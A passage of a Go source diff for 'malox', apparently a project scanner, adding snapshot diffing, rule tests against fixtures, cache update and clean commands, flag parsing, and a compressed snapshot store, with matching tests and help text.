os.WriteFile(filepath.Join(workDir, "package.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + code, stdout, stderr := runAppWithWorkDir(t, workDir, "scan", "--root", workDir, "--json") - if code != ExitScanFailed { - t.Fatalf("Run() exit code = %d, want %d", code, ExitScanFailed) + if code != ExitOK { + t.Fatalf("Run() exit code = %d, want %d", code, ExitOK) } - if stdout != "" { - t.Fatalf("stdout = %q, want empty", stdout) + if stderr != "" { + t.Fatalf("stderr = %q, want empty", stderr) + } + + var document struct { + SchemaVersion string `json:"schema_version"` + ScannerVersion string `json:"scanner_version"` + ProjectRoot string `json:"project_root"` + ProjectID string `json:"project_id"` + Files []struct { + Path string `json:"path"` + SHA256 string `json:"sha256"` + Status string `json:"status"` + } `json:"files"` + Summary struct { + ScannedFiles int `json:"scanned_files"` + } `json:"summary"` + } + if err := json.Unmarshal([]byte(stdout), &document); err != nil { + t.Fatalf("stdout is not valid JSON: %v\n%s", err, stdout) + } + if document.SchemaVersion != "malox.scan.snapshot.v1" { + t.Fatalf("schema_version = %q", document.SchemaVersion) + } + if document.ScannerVersion != "test-version" { + t.Fatalf("scanner_version = %q, want test-version", document.ScannerVersion) + } + if document.ProjectRoot != "." { + t.Fatalf("project_root = %q, want .", document.ProjectRoot) + } + if !strings.HasPrefix(document.ProjectID, "sha256:") { + t.Fatalf("project_id = %q, want sha256 prefix", document.ProjectID) + } + if len(document.Files) != 1 { + t.Fatalf("files length = %d, want 1", len(document.Files)) + } + if document.Files[0].Path != "package.json" || document.Files[0].Status != "scanned" || document.Files[0].SHA256 == "" { + t.Fatalf("file record = %#v, want scanned package.json with SHA256", document.Files[0]) + } + if document.Summary.ScannedFiles != 1 { + t.Fatalf("scanned_files = %d, want 1", document.Summary.ScannedFiles) + } + if strings.Contains(stdout, workDir) { + t.Fatalf("stdout leaked absolute root path %q:\n%s", workDir, stdout) + } +} + +func TestRunDiffJSONComparesRecentSnapshots(t *testing.T) { + workDir := t.TempDir() + if err := os.WriteFile(filepath.Join(workDir, "package.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + + code, _, stderr := runAppWithWorkDir(t, workDir, "scan", "--root", workDir, "--json") + if code != ExitOK { + t.Fatalf("first scan exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + if err := os.Remove(filepath.Join(workDir, "package.json")); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(workDir, "added.js"), []byte("console.log('added')\n"), 0o644); err != nil { + t.Fatal(err) + } + time.Sleep(time.Millisecond) + + code, _, stderr = runAppWithWorkDir(t, workDir, "scan", "--root", workDir, "--json") + if code != ExitOK { + t.Fatalf("second scan exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + + code, stdout, stderr := runAppWithWorkDir(t, workDir, "diff", "--json") + if code != ExitFindings { + t.Fatalf("diff exit code = %d, want %d; stderr = %q", code, ExitFindings, stderr) + } + if stderr != "" { + t.Fatalf("stderr = %q, want empty", stderr) + } + + var document struct { + SchemaVersion string `json:"schema_version"` + AddedFiles []struct { + Path string `json:"path"` + State string `json:"state"` + } `json:"added_files"` + RemovedFiles []struct { + Path string `json:"path"` + State string `json:"state"` + } `json:"removed_files"` + } + if err := json.Unmarshal([]byte(stdout), &document); err != nil { + t.Fatalf("stdout is not valid JSON: %v\n%s", err, stdout) + } + if document.SchemaVersion != "malox.diff.v1" { + t.Fatalf("schema_version = %q, want malox.diff.v1", document.SchemaVersion) + } + if len(document.AddedFiles) != 1 || document.AddedFiles[0].Path != "added.js" || document.AddedFiles[0].State != "added" { + t.Fatalf("added_files = %#v, want added.js", document.AddedFiles) + } + if len(document.RemovedFiles) != 1 || + document.RemovedFiles[0].Path != "package.json" || + document.RemovedFiles[0].State != "removed" { + t.Fatalf("removed_files = %#v, want package.json", document.RemovedFiles) + } +} + +func TestRunScanAppliesSnapshotRetention(t *testing.T) { + workDir := t.TempDir() + cacheDir := filepath.Join(workDir, "cache") + projectFile := filepath.Join(workDir, "index.js") + for i := range 3 { + if err := os.WriteFile(projectFile, []byte(strings.Repeat("x", i+1)), 0o644); err != nil { + t.Fatal(err) + } + code, _, stderr := runAppWithWorkDir( + t, + workDir, + "scan", + "--root", + workDir, + "--cache-dir", + cacheDir, + "--retain-scans", + "2", + ) + if code != ExitOK { + t.Fatalf("scan %d exit code = %d, want %d; stderr = %q", i+1, code, ExitOK, stderr) + } } - if !strings.Contains(stderr, "scan is not implemented yet") { - t.Fatalf("stderr missing not implemented message: %q", stderr) + + entries, err := os.ReadDir(filepath.Join(workDir, ".malox", "scans")) + if err != nil { + t.Fatalf("ReadDir(scans) error = %v", err) + } + if len(entries) != 2 { + t.Fatalf("retained snapshots = %d, want 2", len(entries)) } - if strings.Contains(stdout, "finding") || strings.Contains(stderr, "finding") { - t.Fatalf("command emitted fake finding output: stdout=%q stderr=%q", stdout, stderr) + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".json.gz") { + t.Fatalf("snapshot %q is not gzip-compressed", entry.Name()) + } } } @@ -129,6 +270,252 @@ func TestRunRulesRequiresSubcommand(t *testing.T) { } } +func TestRunRulesTestJSON(t *testing.T) { + workDir := t.TempDir() + fixture := filepath.Join(workDir, "fixture") + if err := os.Mkdir(fixture, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(fixture, "package.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + policyPath := filepath.Join(workDir, "policy.json") + policy := `{ + "schema_version": "malox.rules.policy.v1", + "rules": [{ + "id": "test:path", + "description": "package manifest present", + "severity": "medium", + "confidence": "weak-signal", + "path_patterns": ["package.json"] + }] +}` + if err := os.WriteFile(policyPath, []byte(policy), 0o644); err != nil { + t.Fatal(err) + } + + code, stdout, stderr := runAppWithWorkDir( + t, + workDir, + "rules", + "test", + policyPath, + "--fixture", + fixture, + "--json", + "--expect-findings", + "1", + ) + if code != ExitOK { + t.Fatalf("Run() exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + if stderr != "" { + t.Fatalf("stderr = %q, want empty", stderr) + } + + var document struct { + SchemaVersion string `json:"schema_version"` + Passed bool `json:"passed"` + MatchCount int `json:"match_count"` + Findings []struct { + RuleID string `json:"rule_id"` + } `json:"findings"` + } + if err := json.Unmarshal([]byte(stdout), &document); err != nil { + t.Fatalf("stdout is not valid JSON: %v\n%s", err, stdout) + } + if document.SchemaVersion != "malox.rules.test.v1" || !document.Passed || document.MatchCount != 1 { + t.Fatalf("rules test document = %#v, want passed one-match result", document) + } + if len(document.Findings) != 1 || document.Findings[0].RuleID != "test:path" { + t.Fatalf("findings = %#v, want test:path", document.Findings) + } +} + +func TestRunScanReturnsFindingsExitForBlocklist(t *testing.T) { + workDir := t.TempDir() + if err := os.WriteFile(filepath.Join(workDir, "blocked.js"), []byte("console.log('blocked')\n"), 0o644); err != nil { + t.Fatal(err) + } + policyPath := filepath.Join(workDir, "policy.json") + policy := `{ + "schema_version": "malox.rules.policy.v1", + "blocklist": [{ + "id": "block:path", + "path": "blocked.js" + }] +}` + if err := os.WriteFile(policyPath, []byte(policy), 0o644); err != nil { + t.Fatal(err) + } + + code, stdout, stderr := runAppWithWorkDir( + t, + workDir, + "scan", + "--root", + workDir, + "--policy", + policyPath, + "--json", + ) + if code != ExitFindings { + t.Fatalf("Run() exit code = %d, want %d; stderr = %q", code, ExitFindings, stderr) + } + if stderr != "" { + t.Fatalf("stderr = %q, want empty", stderr) + } + + var document struct { + Findings []struct { + RuleID string `json:"rule_id"` + Blocking bool `json:"blocking"` + } `json:"findings"` + } + if err := json.Unmarshal([]byte(stdout), &document); err != nil { + t.Fatalf("stdout is not valid JSON: %v\n%s", err, stdout) + } + if len(document.Findings) != 1 || document.Findings[0].RuleID != "block:path" || !document.Findings[0].Blocking { + t.Fatalf("findings = %#v, want blocking block:path", document.Findings) + } +} + +func TestRunCacheUpdateJSON(t *testing.T) { + workDir := t.TempDir() + cacheDir := filepath.Join(workDir, "cache") + + code, stdout, stderr := runAppWithWorkDir( + t, + workDir, + "cache", + "update", + "--cache-dir", + cacheDir, + "--json", + ) + if code != ExitOK { + t.Fatalf("Run() exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + if stderr != "" { + t.Fatalf("stderr = %q, want empty", stderr) + } + + var document struct { + SchemaVersion string `json:"schema_version"` + Operation string `json:"operation"` + Sources []struct { + Source string `json:"source"` + RecordsChanged int `json:"records_changed"` + BytesWritten int64 `json:"bytes_written"` + } `json:"sources"` + } + if err := json.Unmarshal([]byte(stdout), &document); err != nil { + t.Fatalf("stdout is not valid JSON: %v\n%s", err, stdout) + } + if document.SchemaVersion != "malox.cache.report.v1" || document.Operation != "update" { + t.Fatalf("document = %#v, want cache update report", document) + } + if len(document.Sources) != 1 || + document.Sources[0].Source != "builtin-rules" || + document.Sources[0].RecordsChanged == 0 || + document.Sources[0].BytesWritten == 0 { + t.Fatalf("sources = %#v, want builtin-rules changes", document.Sources) + } +} + +func TestRunCacheCleanAllRequiresForce(t *testing.T) { + workDir := t.TempDir() + cacheDir := filepath.Join(workDir, "cache") + + code, stdout, stderr := runAppWithWorkDir( + t, + workDir, + "cache", + "clean", + "--cache-dir", + cacheDir, + "--all", + ) + if code != ExitUsage { + t.Fatalf("Run() exit code = %d, want %d", code, ExitUsage) + } + if stdout != "" { + t.Fatalf("stdout = %q, want empty", stdout) + } + if !strings.Contains(stderr, "requires --force") { + t.Fatalf("stderr missing force message: %q", stderr) + } +} + +func TestRunCacheCleanAllForceJSON(t *testing.T) { + workDir := t.TempDir() + cacheDir := filepath.Join(workDir, "cache") + if code, _, stderr := runAppWithWorkDir(t, workDir, "cache", "update", "--cache-dir", cacheDir); code != ExitOK { + t.Fatalf("cache update exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + + code, stdout, stderr := runAppWithWorkDir( + t, + workDir, + "cache", + "clean", + "--cache-dir", + cacheDir, + "--all", + "--force", + "--json", + ) + if code != ExitOK { + t.Fatalf("Run() exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + if stderr != "" { + t.Fatalf("stderr = %q, want empty", stderr) + } + + var document struct { + Operation string `json:"operation"` + Sources []struct { + Source string `json:"source"` + BytesRemoved int64 `json:"bytes_removed"` + } `json:"sources"` + } + if err := json.Unmarshal([]byte(stdout), &document); err != nil { + t.Fatalf("stdout is not valid JSON: %v\n%s", err, stdout) + } + if document.Operation != "clean" || + len(document.Sources) != 1 || + document.Sources[0].Source != "all" || + document.Sources[0].BytesRemoved == 0 { + t.Fatalf("document = %#v, want forced all clean report", document) + } +} + +func TestRunScanOfflinePreparesGlobalCache(t *testing.T) { + workDir := t.TempDir() + cacheDir := filepath.Join(workDir, "cache") + if err := os.WriteFile(filepath.Join(workDir, "package.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + + code, _, stderr := runAppWithWorkDir( + t, + workDir, + "scan", + "--root", + workDir, + "--cache-dir", + cacheDir, + "--offline", + "--json", + ) + if code != ExitOK { + t.Fatalf("Run() exit code = %d, want %d; stderr = %q", code, ExitOK, stderr) + } + if _, err := os.Stat(filepath.Join(cacheDir, "index-v1.json")); err != nil { + t.Fatalf("scan offline did not prepare global cache: %v", err) + } +} + func TestParseInvocationAllowsGlobalFlagsAfterCommand(t *testing.T) { inv, err := parseInvocation([]string{ "scan", @@ -136,6 +523,7 @@ func TestParseInvocationAllowsGlobalFlagsAfterCommand(t *testing.T) { ".", "--offline", "--max-workers=4", + "--retain-scans=8", }) if err != nil { t.Fatalf("parseInvocation() error = %v", err) @@ -149,6 +537,19 @@ func TestParseInvocationAllowsGlobalFlagsAfterCommand(t *testing.T) { if inv.flags.Scan.MaxWorkers == nil || *inv.flags.Scan.MaxWorkers != 4 { t.Fatalf("max workers = %v, want 4", inv.flags.Scan.MaxWorkers) } + if inv.flags.Scan.RetainScans == nil || *inv.flags.Scan.RetainScans != 8 { + t.Fatalf("retained scans = %v, want 8", inv.flags.Scan.RetainScans) + } +} + +func TestParseInvocationRejectsCacheCleanFlagsOutsideCacheClean(t *testing.T) { + _, err := parseInvocation([]string{"scan", "--expired"}) + if err == nil { + t.Fatal("parseInvocation() error = nil, want usage error") + } + if !strings.Contains(err.Error(), "--expired is only valid for cache clean") { + t.Fatalf("error = %q, want cache clean scope message", err) + } } func TestExitCodeMapping(t *testing.T) { diff --git a/internal/app/help.go b/internal/app/help.go index d029e27..e18145d 100644 --- a/internal/app/help.go +++ b/internal/app/help.go @@ -53,6 +53,9 @@ Global flags: --no-color Disable color output --quiet Suppress logs --verbose Enable debug logs + --policy Add an organization policy file + --no-builtin-rules + Disable embedded conservative rules Examples: malox scan @@ -76,6 +79,10 @@ Flags: --strict-hash Rehash every candidate file --max-workers Maximum worker count for scan work --max-file-size Maximum file size in bytes + --retain-scans Number of recent snapshots to keep (default: 10, minimum: 2) + --policy Add an organization policy file + --no-builtin-rules + Disable embedded conservative rules Global flags: --config --state-dir --cache-dir --offline --no-color --quiet --verbose @@ -92,13 +99,20 @@ func diffHelp(w io.Writer) error { _, err := fmt.Fprint(w, `Compare scan snapshots. Usage: - malox diff [global flags] + malox diff [flags] + +Flags: + --from Source scan ID (default: second most recent scan) + --to Target scan ID (default: most recent scan) + --json Shortcut for JSON output Global flags: --config --state-dir --cache-dir --offline --no-color --quiet --verbose Examples: malox diff + malox diff --json + malox diff --from 2026-06-17T12-30-00.000000000Z --to 2026-06-17T12-35-00.000000000Z malox diff --state-dir ./.malox `) return err @@ -108,14 +122,19 @@ func rulesHelp(w io.Writer) error { _, err := fmt.Fprint(w, `Test local Malox rules against fixtures. Usage: - malox rules test [global flags] + malox rules test --fixture [flags] + +Flags: + --fixture Fixture project directory + --json Shortcut for JSON output + --expect-findings Expected finding count Global flags: --config --state-dir --cache-dir --offline --no-color --quiet --verbose Examples: - malox rules test - malox rules test --config ./malox.json + malox rules test ./policy.json --fixture ./testdata/project + malox rules test ./policy.json --fixture ./testdata/project --json `) return err } @@ -125,13 +144,27 @@ func cacheHelp(w io.Writer) error { Usage: malox cache update [global flags] - malox cache clean [global flags] + malox cache clean [--expired | --all --force] [global flags] + +Commands: + update Prepare local cache metadata and bundled rule templates. Source updates may use the network unless --offline is set. + clean Remove expired cache records by default. + +Flags: + --json Shortcut for JSON output + --source Update only one source, such as osv, npm, or builtin-rules + --expired Remove only expired cache records (default) + --all Remove all cache records + --force Confirm destructive --all cleanup Global flags: --config --state-dir --cache-dir --offline --no-color --quiet --verbose Examples: malox cache update + malox cache update --json + malox cache clean --expired + malox cache clean --all --force malox cache clean --cache-dir ~/.cache/malox `) return err diff --git a/internal/app/parse.go b/internal/app/parse.go index ab601ba..6a7bc41 100644 --- a/internal/app/parse.go +++ b/internal/app/parse.go @@ -144,6 +144,16 @@ func parseInvocation(args []string) (invocation, error) { return invocation{}, err } inv.flags.Scan.JSON = &v + inv.flags.Diff.JSON = &v + inv.flags.Cache.JSON = &v + inv.flags.Rules.Test.JSON = &v + case "source": + v, next, err := parseStringFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Cache.Source = &v + i = next case "output": v, next, err := parseStringFlag(name, value, hasValue, args, i) if err != nil { @@ -171,6 +181,73 @@ func parseInvocation(args []string) (invocation, error) { } inv.flags.Scan.MaxFileSize = &v i = next + case "retain-scans": + v, next, err := parseIntFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Scan.RetainScans = &v + i = next + case "from": + v, next, err := parseStringFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Diff.From = &v + i = next + case "to": + v, next, err := parseStringFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Diff.To = &v + i = next + case "policy": + v, next, err := parseStringFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Rules.PolicyFiles = append(inv.flags.Rules.PolicyFiles, v) + i = next + case "no-builtin-rules": + v, err := parseBoolFlag(name, value, hasValue) + if err != nil { + return invocation{}, err + } + useBuiltins := !v + inv.flags.Rules.UseBuiltins = &useBuiltins + case "fixture": + v, next, err := parseStringFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Rules.Test.Fixture = &v + i = next + case "expect-findings": + v, next, err := parseIntFlag(name, value, hasValue, args, i) + if err != nil { + return invocation{}, err + } + inv.flags.Rules.Test.ExpectedFindings = &v + i = next + case "expired": + v, err := parseBoolFlag(name, value, hasValue) + if err != nil { + return invocation{}, err + } + inv.flags.Cache.Clean.Expired = &v + case "all": + v, err := parseBoolFlag(name, value, hasValue) + if err != nil { + return invocation{}, err + } + inv.flags.Cache.Clean.All = &v + case "force": + v, err := parseBoolFlag(name, value, hasValue) + if err != nil { + return invocation{}, err + } + inv.flags.Cache.Clean.Force = &v default: return invocation{}, usageError("unknown flag --%s", name) } @@ -181,6 +258,27 @@ func parseInvocation(args []string) (invocation, error) { return invocation{}, err } inv.command = command + switch inv.command { + case commandScan: + inv.flags.Diff.JSON = nil + inv.flags.Cache.JSON = nil + inv.flags.Rules.Test.JSON = nil + case commandDiff: + inv.flags.Scan.JSON = nil + inv.flags.Cache.JSON = nil + inv.flags.Rules.Test.JSON = nil + case commandRulesTest: + inv.flags.Scan.JSON = nil + inv.flags.Diff.JSON = nil + inv.flags.Cache.JSON = nil + if len(positionals) == 3 { + inv.flags.Rules.Test.RuleFile = &positionals[2] + } + case commandCacheUpdate, commandCacheClean: + inv.flags.Scan.JSON = nil + inv.flags.Diff.JSON = nil + inv.flags.Rules.Test.JSON = nil + } if err := validateFlagScope(inv); err != nil { return invocation{}, err @@ -298,7 +396,7 @@ func resolveCommand(positionals []string) (command, error) { if len(positionals) == 1 { return commandRules, nil } - if len(positionals) == 2 && positionals[1] == "test" { + if (len(positionals) == 2 || len(positionals) == 3) && positionals[1] == "test" { return commandRulesTest, nil } return commandRoot, usageError("unknown rules subcommand %q", strings.Join(positionals[1:], " ")) @@ -326,14 +424,83 @@ func resolveCommand(positionals []string) (command, error) { } func validateFlagScope(inv invocation) error { + if err := validateCacheFlagScope(inv); err != nil { + return err + } if inv.command == commandScan { + if inv.flags.Diff.From != nil { + return usageError("--from is only valid for diff") + } + if inv.flags.Diff.To != nil { + return usageError("--to is only valid for diff") + } + if inv.flags.Rules.Test.Fixture != nil { + return usageError("--fixture is only valid for rules test") + } + if inv.flags.Rules.Test.ExpectedFindings != nil { + return usageError("--expect-findings is only valid for rules test") + } + return nil + } + if inv.command == commandDiff { + if inv.flags.Scan.Root != nil { + return usageError("--root is only valid for scan") + } + if inv.flags.Scan.Output != nil { + return usageError("--output is only valid for scan") + } + if inv.flags.Scan.StrictHash != nil { + return usageError("--strict-hash is only valid for scan") + } + if inv.flags.Scan.MaxWorkers != nil { + return usageError("--max-workers is only valid for scan") + } + if inv.flags.Scan.MaxFileSize != nil { + return usageError("--max-file-size is only valid for scan") + } + if inv.flags.Scan.RetainScans != nil { + return usageError("--retain-scans is only valid for scan") + } + if inv.flags.Rules.Test.Fixture != nil { + return usageError("--fixture is only valid for rules test") + } + if inv.flags.Rules.Test.ExpectedFindings != nil { + return usageError("--expect-findings is only valid for rules test") + } + return nil + } + if inv.command == commandRulesTest { + if inv.flags.Scan.Root != nil { + return usageError("--root is only valid for scan") + } + if inv.flags.Scan.Output != nil { + return usageError("--output is only valid for scan") + } + if inv.flags.Scan.StrictHash != nil { + return usageError("--strict-hash is only valid for scan") + } + if inv.flags.Scan.MaxWorkers != nil { + return usageError("--max-workers is only valid for scan") + } + if inv.flags.Scan.MaxFileSize != nil { + return usageError("--max-file-size is only valid for scan") + } + if inv.flags.Scan.RetainScans != nil { + return usageError("--retain-scans is only valid for scan") + } + if inv.flags.Diff.From != nil { + return usageError("--from is only valid for diff") + } + if inv.flags.Diff.To != nil { + return usageError("--to is only valid for diff") + } return nil } if inv.flags.Scan.Root != nil { return usageError("--root is only valid for scan") } if inv.flags.Scan.JSON != nil { - return usageError("--json is only valid for scan") + return usageError("--json is only valid for scan, diff, or rules test") } if inv.flags.Scan.Output != nil { return usageError("--output is only valid for scan") @@ -347,6 +514,43 @@ func validateFlagScope(inv invocation) error { if inv.flags.Scan.MaxFileSize != nil { return usageError("--max-file-size is only valid for scan") } + if inv.flags.Scan.RetainScans != nil { + return usageError("--retain-scans is only valid for scan") + } + if inv.flags.Diff.From != nil { + return usageError("--from is only valid for diff") + } + if inv.flags.Diff.To != nil { + return usageError("--to is only valid for diff") + } + if inv.flags.Rules.Test.Fixture != nil { + return usageError("--fixture is only valid for rules test") + } + if inv.flags.Rules.Test.ExpectedFindings != nil { + return usageError("--expect-findings is only valid for rules test") + } + return nil +} + +func validateCacheFlagScope(inv invocation) error { + cacheCommand := inv.command == commandCacheUpdate || inv.command == commandCacheClean + if inv.flags.Cache.JSON != nil && !cacheCommand { + return usageError("--json is only valid for scan, diff, rules test, or cache commands") + } + if inv.flags.Cache.Source != nil && inv.command != commandCacheUpdate { + return usageError("--source is only valid for cache update") + } + + cleanCommand := inv.command == commandCacheClean + if inv.flags.Cache.Clean.Expired != nil && !cleanCommand { + return usageError("--expired is only valid for cache clean") + } + if inv.flags.Cache.Clean.All != nil && !cleanCommand { + return usageError("--all is only valid for cache clean") + } + if inv.flags.Cache.Clean.Force != nil && !cleanCommand { + return usageError("--force is only valid for cache clean") + } return nil } @@ -359,6 +563,14 @@ func validateCommandCompleteness(inv invocation) error { return nil case commandRules: return usageError("rules requires a subcommand: test") + case commandRulesTest: + if inv.flags.Rules.Test.RuleFile == nil { + return usageError("rules test requires a rule file") + } + if inv.flags.Rules.Test.Fixture == nil { + return usageError("rules test requires --fixture") + } + return nil case commandCache: return usageError("cache requires a subcommand: update or clean") default: diff --git a/internal/cache/cache.go b/internal/cache/cache.go new file mode 100644 index 0000000..879108f --- /dev/null +++ b/internal/cache/cache.go @@ -0,0 +1,879 @@ +// Package cache persists project-local Malox scan state. +package cache + +import ( + "bytes" + "cmp" + "compress/gzip" + "context" + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "runtime" + "slices" + "strings" + "time" + + "malox/internal/node" + "malox/internal/rules" + "malox/internal/scan" +) + +const ( + latestSchemaVersion = "malox.latest.v1" + defaultSnapshotRetention = 10 + compressedSnapshotSuffix = ".json.gz" + uncompressedSnapshotSuffix = ".json" +) + +var ( + // ErrSnapshotNotFound reports that a requested scan ID does not exist. + ErrSnapshotNotFound = errors.New("snapshot not found") + // ErrInsufficientSnapshots reports that there are not enough scans to diff. + ErrInsufficientSnapshots = errors.New("not enough snapshots") +) + +// Store reads and writes one project's local Malox state directory. +type Store struct { + dir string + snapshotRetention int +} + +// StoreOptions configures project-local snapshot persistence. +type StoreOptions struct { + SnapshotRetention int +} + +// SnapshotInfo identifies one persisted scan snapshot. +type SnapshotInfo struct { + ID string + Path string +} + +// NewStore returns a project state store rooted at stateDir. +func NewStore(stateDir string) (Store, error) { + return NewStoreWithOptions(stateDir, StoreOptions{ + SnapshotRetention: defaultSnapshotRetention, + }) +} + +// NewStoreWithOptions returns a project state store with explicit persistence options. +func NewStoreWithOptions(stateDir string, opts StoreOptions) (Store, error) { + if strings.TrimSpace(stateDir) == "" { + return Store{}, errors.New("state dir is required") + } + if opts.SnapshotRetention < 2 { + return Store{}, errors.New("snapshot retention must be at least 2") + } + absolute, err := filepath.Abs(stateDir) + if err != nil { + return Store{}, fmt.Errorf("resolve state dir: %w", err) + } + return Store{ + dir: filepath.Clean(absolute), + snapshotRetention: opts.SnapshotRetention, + }, nil +} + +// Dir returns the store root directory. +func (s Store) Dir() string { + return s.dir +} + +// LoadLatest resolves the latest snapshot pointer when it exists. +func (s Store) LoadLatest(ctx context.Context) (scan.Snapshot, bool, error) { + if err := ctx.Err(); err != nil { + return scan.Snapshot{}, false, fmt.Errorf("load latest snapshot: %w", err) + } + path := filepath.Join(s.dir, "latest.json") + data, err := os.ReadFile(path) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return scan.Snapshot{}, false, nil + } + return scan.Snapshot{}, false, fmt.Errorf("read latest snapshot pointer: %w", err) + } + + var latest latestDocument + if err := json.Unmarshal(data, &latest); err != nil { + return scan.Snapshot{}, false, fmt.Errorf("parse latest snapshot pointer %q: %w", path, err) + } + if latest.SchemaVersion == latestSchemaVersion { + if strings.TrimSpace(latest.ScanID) == "" { + return scan.Snapshot{}, false, fmt.Errorf("parse latest snapshot pointer %q: scan id is required", path) + } + snapshot, err := s.LoadSnapshot(ctx, latest.ScanID) + if err != nil { + return scan.Snapshot{}, false, fmt.Errorf("load latest snapshot %q: %w", latest.ScanID, err) + } + return snapshot, true, nil + } + + snapshot, err := decodeSnapshot(bytes.NewReader(data), path) + if err != nil { + return scan.Snapshot{}, false, err + } + return snapshot, true, nil +} + +// WriteSnapshot persists a compressed snapshot and updates latest.json. +func (s Store) WriteSnapshot(ctx context.Context, snapshot scan.Snapshot) error { + if err := ctx.Err(); err != nil { + return fmt.Errorf("write snapshot: %w", err) + } + if strings.TrimSpace(snapshot.ScanID) == "" { + return errors.New("snapshot scan id is required") + } + + data, err := marshalCompressedSnapshot(snapshot) + if err != nil { + return err + } + + scanPath, _, err := s.snapshotPaths(snapshot.ScanID) + if err != nil { + return err + } + if err := writeFileAtomic(ctx, scanPath, data, 0o644); err != nil { + return fmt.Errorf("write scan snapshot: %w", err) + } + + verified, err := s.LoadSnapshot(ctx, snapshot.ScanID) + if err != nil { + return fmt.Errorf("verify scan snapshot: %w", err) + } + if verified.ScanID != snapshot.ScanID { + return fmt.Errorf("verify scan snapshot: got scan id %q, want %q", verified.ScanID, snapshot.ScanID) + } + + latestData, err := json.Marshal(latestDocument{ + SchemaVersion: latestSchemaVersion, + ScanID: snapshot.ScanID, + }) + if err != nil { + return fmt.Errorf("marshal latest snapshot pointer: %w", err) + } + latestData = append(latestData, '\n') + if err := writeFileAtomic(ctx, filepath.Join(s.dir, "latest.json"), latestData, 0o644); err != nil { + return fmt.Errorf("write latest snapshot pointer: %w", err) + } + if err := s.removeLegacyFileIndex(); err != nil { + return err + } + if err := s.pruneSnapshots(ctx); err != nil { + return err + } + return nil +} + +// LoadSnapshot reads a snapshot by scan ID. +func (s Store) LoadSnapshot(ctx context.Context, id string) (scan.Snapshot, error) { + if err := ctx.Err(); err != nil { + return scan.Snapshot{}, fmt.Errorf("load snapshot: %w", err) + } + compressedPath, uncompressedPath, err := s.snapshotPaths(id) + if err != nil { + return scan.Snapshot{}, err + } + snapshot, err := readSnapshotFile(compressedPath, true) + if err != nil { + if !errors.Is(err, os.ErrNotExist) { + return scan.Snapshot{}, err + } + snapshot, err = readSnapshotFile(uncompressedPath, false) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return scan.Snapshot{}, fmt.Errorf("%w: %s", ErrSnapshotNotFound, snapshotID(id)) + } + return scan.Snapshot{}, err + } + } + return snapshot, nil +} + +// ListSnapshots returns persisted snapshots sorted from oldest to newest. +func (s Store) ListSnapshots(ctx context.Context) ([]SnapshotInfo, error) { + if err := ctx.Err(); err != nil { + return nil, fmt.Errorf("list snapshots: %w", err) + } + dir := filepath.Join(s.dir, "scans") + entries, err := os.ReadDir(dir) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil, nil + } + return nil, fmt.Errorf("read scans dir: %w", err) + } + + byID := make(map[string]SnapshotInfo, len(entries)) + for _, entry := range entries { + if entry.IsDir() { + continue + } + id, compressed, ok := parseSnapshotName(entry.Name()) + if !ok || strings.TrimSpace(id) == "" || filepath.Base(id) != id || !filepath.IsLocal(id) { + continue + } + current, exists := byID[id] + if exists && !compressed { + continue + } + if exists && strings.HasSuffix(current.Path, compressedSnapshotSuffix) { + continue + } + byID[id] = SnapshotInfo{ + ID: id, + Path: filepath.Join(dir, entry.Name()), + } + } + snapshots := make([]SnapshotInfo, 0, len(byID)) + for _, snapshot := range byID { + snapshots = append(snapshots, snapshot) + } + slices.SortFunc(snapshots, func(a, b SnapshotInfo) int { + return cmp.Compare(a.ID, b.ID) + }) + return snapshots, nil +} + +// RecentPair returns the two newest persisted snapshots. +func (s Store) RecentPair(ctx context.Context) (SnapshotInfo, SnapshotInfo, error) { + snapshots, err := s.ListSnapshots(ctx) + if err != nil { + return SnapshotInfo{}, SnapshotInfo{}, err + } + if len(snapshots) < 2 { + return SnapshotInfo{}, SnapshotInfo{}, ErrInsufficientSnapshots + } + return snapshots[len(snapshots)-2], snapshots[len(snapshots)-1], nil +} + +func (s Store) snapshotPaths(id string) (string, string, error) { + id = snapshotID(id) + if strings.TrimSpace(id) == "" { + return "", "", errors.New("scan id is required") + } + if filepath.Base(id) != id || !filepath.IsLocal(id) { + return "", "", fmt.Errorf("unsafe scan id %q", id) + } + dir := filepath.Join(s.dir, "scans") + return filepath.Join(dir, id+compressedSnapshotSuffix), + filepath.Join(dir, id+uncompressedSnapshotSuffix), + nil +} + +// WriteFileAtomic writes data by syncing a temp file and renaming it into place. +func WriteFileAtomic(ctx context.Context, path string, data []byte, perm os.FileMode) error { + return writeFileAtomic(ctx, path, data, perm) +} + +func writeFileAtomic(ctx context.Context, path string, data []byte, perm os.FileMode) error { + if err := ctx.Err(); err != nil { + return err + } + dir := filepath.Dir(path) + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create parent dir: %w", err) + } + + tmp, err := os.CreateTemp(dir, "."+filepath.Base(path)+".tmp-*") + if err != nil { + return fmt.Errorf("create temp file: %w", err) + } + tmpPath := tmp.Name() + removeTemp := true + defer func() { + if removeTemp { + _ = os.Remove(tmpPath) + } + }() + + if _, err := tmp.Write(data); err != nil { + _ = tmp.Close() + return fmt.Errorf("write temp file: %w", err) + } + if err 